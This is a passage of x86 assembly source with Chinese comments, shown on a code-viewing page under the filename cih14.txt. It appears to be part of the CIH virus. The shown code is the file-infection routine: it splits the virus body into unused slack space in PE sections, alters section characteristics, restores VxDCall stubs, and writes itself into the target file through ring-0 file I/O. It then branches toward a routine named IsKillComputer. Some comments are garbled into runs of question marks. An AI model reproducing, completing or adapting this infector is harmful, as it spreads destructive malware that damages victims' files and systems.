📄 cih14.txt
字号:
lea edx, [esi-SizeOfScetionTable] ;edx先减一项块表长度,?????????????????
mov ebp, offset VirusSize ;ebp为病毒长度
jmp StartToWriteCodeToSections
; ***** 往病毒块表里写代码*****
LoopOfWriteCodeToSections:
add edx, SizeOfScetionTable ;?????????????????????????
mov ebx, (SizeOfRawData-@9)[edx] ;ebx为该块表项的SizeOfRawData(块大小)
sub ebx, (VirtualSize-@9)[edx] ;减去VirtualSize=该块未用空间
jbe EndOfWriteCodeToSections
push ebx
sub eax, 08h
mov [eax], ebx ;写入病毒块表
mov ebx, (PointerToRawData-@9)[edx] ;ebx为块的实际偏移
add ebx, (VirtualSize-@9)[edx] ;加上VirtualSize
push ebx ;ebx指向该块未用空间的文件指针
push edi
mov ebx, (VirtualSize-@9)[edx]
add ebx, (VirtualAddress-@9)[edx]
add ebx, (ImageBase-@9)[esi] ;ebx为该块装入后的实际地址
mov [eax+4], ebx ;保存到病毒块表中
mov ebx, [eax] ;该块未用空间大小
add (VirtualSize-@9)[edx], ebx ;加到该块表项的VirtualSize
or (Characteristics-@9)[edx], 40000040h ;改该块表项的块属性(改为可读,并包含初始化数据)
StartToWriteCodeToSections:
sub ebp, ebx ;病毒大小-病毒块大小
jbe SetVirusCodeSectionTableEndMark ;如果小于(病毒插入完毕)就设置病毒块表结束符
add edi, ebx ; 指向病毒下一块
EndOfWriteCodeToSections:
loop LoopOfWriteCodeToSections
; *****只设置感染标志 *****
OnlySetInfectedMark:
mov esp, dr1 ;只设置感染标志
jmp WriteVirusCodeToFile ;跳到写病毒到要传染的文件的程序
; *****不设置感染标志*****
NotSetInfectedMark: ;不设置感染标志
add esp, 3ch
jmp CloseFile ;跳到关闭文件
; *****设置病毒代码块表和结束标志*****
SetVirusCodeSectionTableEndMark:
; Adjust Size of Virus Section Code to Correct Value
;更正病毒块表的最后一项
add [eax], ebp
add [esp+08h], ebp
; Set End Mark
;设置块表结束标志
xor ebx, ebx
mov [eax-04h], ebx
; *****当病毒调用VxDCall时VMM修改int 20h并且服务识别器调用[]*****
; *****写病毒到文件之前要首先恢复他们*****
lea eax, (LastVxDCallAddress-2-@9)[esi] ;将上一个调用VXD的指令的地址放入eax中
mov cl, VxDCallTableSize ;所用VXD调用的个数放入cl中
LoopOfRestoreVxDCallID:
mov word ptr [eax], 20cdh ;还原成"int 20h"的形式
;从VxDCallIDTable取出VXD调用的id号放到edx,
;再将其放到"int 20h"的后面,形成'int 20h' and the 'Service Identifier'的形式
mov edx, (VxDCallIDTable+(ecx-1)*04h-@9)[esi]
mov [eax+2], edx
;VxDCallAddressTable中放着各个调用VXD的指令的地址之差,将其放入edx中
movzx edx, byte ptr (VxDCallAddressTable+ecx-1-@9)[esi]
sub eax, edx ;eax为上一个调用地址
loop LoopOfRestoreVxDCallID ;还原其他的调用
; *****向文件中写入病毒代码*****
WriteVirusCodeToFile:
mov eax, dr1 ;dr1为前面所保存的esp,将其放入eax中
mov ebx, [eax+10h] ;ebx为保存在栈中的保存文件句柄
mov edi, [eax] ;edi为保存在栈中的IFSMgr_Ring0_FileIO调用的地址
LoopOfWriteVirusCodeToFile:
pop ecx ;病毒代码各段的偏移入栈
jecxz SetFileModificationMark ;到病毒偏移零为止
mov esi, ecx
mov eax, 0d601h ;写文件功能号(R0_WRITEFILE)到eax中
pop edx ;文件指针
pop ecx ;要写的字节数
call edi ; 写文件
;依次写入:各段病毒代码,病毒块表,新的文件块表,新的程序入口,感染标志
;用循环来实现
jmp LoopOfWriteVirusCodeToFile
; *****设置进位标志在更改时需要恢复文件*****
SetFileModificationMark:
pop ebx
pop eax
stc ;设置进位标志
pushf ;将标志位压入栈
; *****关闭文件*****
CloseFile:
xor eax, eax
mov ah, 0d7h ;关闭文件功能号
call edi ; 写文件
; *****判断在更改时间时是否需要恢复文件*****
popf
pop esi ;将esi出栈,其中存的是进位标志CF
jnc IsKillComputer ;如果CF=0,执行IsKillComputer
; *****恢复文件更改时间*****
mov ebx, edi
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -